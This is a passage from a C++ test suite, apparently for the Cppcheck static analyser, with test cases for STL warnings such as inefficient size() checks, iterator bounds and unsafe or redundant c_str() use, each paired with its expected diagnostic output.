\"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and 